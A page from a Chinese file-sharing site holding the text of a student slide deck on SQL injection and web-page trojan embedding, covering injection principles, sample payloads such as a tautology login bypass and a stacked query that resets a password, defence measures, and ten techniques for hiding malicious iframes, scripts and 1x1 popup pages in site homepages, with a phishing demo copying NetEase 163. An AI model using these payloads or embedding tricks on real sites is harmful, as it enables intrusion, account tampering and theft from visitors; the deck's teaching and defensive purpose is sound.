• / 30
  • 下载费用:5 金币  

1sql注入和网页挂马.pptx

关 键 词:
SQL 注入 网页
资源描述:
SQL注入和网页挂马,2015140121杨诚2015140122林尚朕2015140127梁杰林2015140119 禹业藂2015140116 苏治武,SQL注入 1.1  SQL注入原理 1.2  SQL注入方式 1.3 SQL注入防范2.网页挂马 2.1  网页挂马原理 2.2  常见的挂马种类 2.3 挂马案例演示,1.1 SQL注入原理SQL注入攻击是黑客通过正常的用户输入接口对后台数据库进行攻击的常用手段之一。攻击者在应用程序对外公开的用户端口中输入自己别有用心构造的SQL语句,对应用程序后台数据库进行违反设计者初衷的操作,对数据库里的信息进行有害的操作,甚至获取管理人权限,造成更大的危害。由于程序设计人员技术和经验参差不齐,有些程序员对用户输入的信息没有进行检查,过滤和限制,那样,居心叵测的攻击者构造的SQL语句就可以和正常的用户输入信息一样畅通无阻进入系统并被执行,根据返回结果,攻击者就可以达到试探或者获取后台数据库的相关信息的目的,以便进行进一步攻击。一般来说,SQL注入的操作在表面上和正常用户访问一样,防火墙等很难识别,如果管理员不常查看日志,很难及时发现SQL注入攻击,其隐蔽性增强了其危害性。,1.2 SQL注入方式①瞒天过海——注入“or”形式恒真选择语句,获取返回结果集。例如,一般的用户登陆认证是通过把用户输入的信息于数据库里的信息进行匹配,通过select语句检索结果集,如果结果集不为空,则判断为通过验证,返回结果集。攻击者通过构造“or”型恒真选择语句,把所有记录选出来,从而通过认证,获取数据。正常查询:select * from 【表名】where 【列名】='xxx'只可选出列名为xxx的记录注入后的:select * from 【表名】where 【列名】='xxx' or '1'='1' 这样就可以选出全表记录了,在password栏输入:jj‘ or ’1‘=’1后可以直接获取返回结果集中的第一个用户信息。,②抛砖引玉——利用返回的错误提示信息系统的错误提示信息包含有一些可以推测出数据库名字、数据表名字的构成信息,如果设计者向用户展示这些错误信息,就为攻击者猜测数据库结构,注入攻击提供方便。攻击者利用一些系统函数,系统变量来设计SQL语句,试探性的让系统执行,通过系统返回的错误提示信息来获得数据库名,表名等,来摸清后台数据库的大致结构,进一步进行SQL注入攻击。,③夹带私货——用“;”附带上攻击者的新SQL语句。如果后台数据库支持一条语句中包含多条查询的话,在原来的语句后加上攻击者的SQL语句,用";"分隔开,就可以执行攻击者的SQL语句,一般包括Insert,Delete,Update等语句。如果设计者不去防止这种在原查询后接非法SQL语句的漏洞,就坑能在执行完原语句后,接着执行攻击者的语句,攻击者就为所欲为了。例如:Select *from 【表名】where 【条件】;Insert Into 【表名】(【列名1】,【列名2】...)values ('值1','值2'...) 这就不知不觉中插入了攻击者设定的记录。,在password栏输入 jj‘ or ’1‘=’1‘;update account set password = ’sql‘ where name = ’林尚朕后可以直接修改“林尚朕”用户的密码,SQL注入前:,SQL注入后:,④猜测相关表名列名字段名攻击者根据自己经验猜测相关表名,字段名,编写SQL语句注入,让其执行。如果能成功执行,则证明猜测成功,否则猜错,重新猜。,1.3 SQL注入防范数据有效性校验。如果一个输入框只可能包括数字,那么要通过校验确保用户输入的都是数字。如果可以接受字母,那就要检查是不是存在不可接受的字符,最好的方法是增加字符复杂度自动验证功能。确保应用程序要检查以下字符:分号、等号、破折号、括号以及SQL关键字。另外限制表单数据输入和查询字符串输入的长度也是一个好方法。如果用户的登录名最多只有10个字符,那么不要认可表单中输入10个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。封装数据信息。对客户端提交的数据进行封装,不要将数据直接存入cookie中,方法就是在编程的代码中,插入session、if、try、else,这样可以有效地防止攻击者获取cookie中的重要信息。,去除代码中的敏感信息。将在代码中存在的用户名、口令信息等敏感字段删除,替换成输入框。 替换或删除单引号。使用双引号替换掉所有用户输入的单引号,这个简单的预防措施将在很大程度上预防SQL注入漏洞攻击,单引号时常会无法约束插入数据的Value,可能给予输入者不必要的权限。用双引号替换掉单引号可以使大部分SQL注入漏洞攻击失败。指定错误返回页面。攻击者有时从客户端尝试提交有害代码和攻击字符串,根据Web Service给出的错误提示信息来收集程序及服务器的信息,从而获取想得到的资料。应在Web Service中指定一个不包含任何信息的错误提示页面。 限制SQL字符串连接的配置文件。使用SQL变量,因为变量不是可以执行的脚本,即在Web页面中将连接数据库的SQL字符串替换成指定的Value,然后将Web.config文件进行加密,拒绝访问。,设置Web目录的访问权限。将虚拟站点的文件目录禁止游客用户(如:Guest用户等)访问,将User用户权限修改成只读权限,切勿将管理权限的用户添加到访问列表。最小服务原则。Web服务器应以最小权限进行配置,只提供Web服务,这样可以有效地阻止系统的危险命令,如ftp、cmd、vbscript等。 鉴别信息加密存储。将保存在数据库users表中的用户名、口令信息以密文形式保存,也可以对users表进行加密处理,这样可以大大增加对鉴别信息访问的安全级别。 用户权限分离。应尽可能的禁止或删除数据库中sa权限用户的访问,对不同的数据库划分不同的用户权限,这样不同的用户只能对授权给自己的数据库执行查询、插入、更新、删除操作,就可以防止不同用户对非授权的数据库进行访问。,在java web中,如果使用Statement连接数据库的话,会直接把参数拼接到sql里,容易被SQL注入攻击。,使用PreparedStatement 执行查询的时候已经对sql进行了严格的处理,采用占位符,对特殊字符进行特殊转换,防止sql注入。,2.1 网页挂马原理 作为网页挂马的散布者,其目的是将木马下载到用户本地,并进一步执行,当木马获得执行之后,就意味着会有更多的木马被下载,进一步被执行,进入一个恶性的循环,从而使用户的电脑遭到攻击和控制。为达到目的首先要将木马下载到本地。 通俗点说,就是在人家网站的主页那里插入一个自己的网马的页面,等有漏洞的人查看了人家网站的主页,那么他就成了你的肉鸡了。,2.2 常见的网页挂马 我们选取用来插马的页面一般是网站的首页比如:index.htm、index.html、index.asp、index.aspx、index.php、index.jsp、default.htm、default.html default.asp default.aspx default.jsp default.php等等,大家就自己记录下来吧,其他页面也可以插入,只要人家没有打上补丁,一:框架挂马 二:js文件挂马 首先将以下代码 document.write(""); 保存为xxx.js, 则JS挂马代码为 三:js变形加密 muma.txt可改成任意后缀,四:body挂马 五:隐蔽挂马 top.document.body.innerHTML = top.document.body.innerHTML + '\r\n'; 六:css中挂马 body { background-image: url('javascript:document.write("")')} 七:JAJA挂马 window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); ,八:图片伪装 九:伪装调用: ,十:高级欺骗 页面要显示的内容 function www_163_com () { var url="网马地址"; open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } ,2.3 网页挂马演示举例 2.3.1 图片伪装演示 1 2 2处:正常的网页内容1处:在iframe标签中,我们嵌入了一个欺骗网页,这个网页height=0 width=0,网页内容对于用户来说是看不见的。,2.3.2 欺骗页面1 alert("您的网页被劫持了"); 2 1处 2处:我们可以写一些获取用户隐私信息的代码,用户不可见弹出对话框只是为了演示效果好,2.3.3 演示效果,2.3.4 高级欺骗演示1 网易163网站 function www_163_com () {2 var url="欺骗页面.html"; open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=1,height=1,left=10,top=10"); } 1处:是我们见到的正常的页面,onMouseOver事件我们执行了一个隐藏的页面,页面width=1,height=1几乎不可见。2处:我们打开了一个“欺骗页面”,页面width=1,height=1几乎不可见。,2.3.5 欺骗页面1 alert("你的页面被劫持了"); 2 1处 2处:执行一些获取用户隐私信息的代码, 用户不可见 弹出对话框只是为了演示效果,2.3.6 正常网易163页面,2.3.7 欺骗页面效果,谢谢大家观看,
展开阅读全文
1
  金牌文库所有资源均是用户自行上传分享,仅供网友学习交流,未经上传用户书面授权,请勿作他用。
0条评论

还可以输入200字符

暂无评论,赶快抢占沙发吧。

关于本文
本文标题:1sql注入和网页挂马.pptx
链接地址:http://www.gold-doc.com/p-256965.html
关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服客服 - 联系我们
copyright@ 2014-2018 金牌文库网站版权所有
经营许可证编号:浙ICP备15046084号-3
收起
展开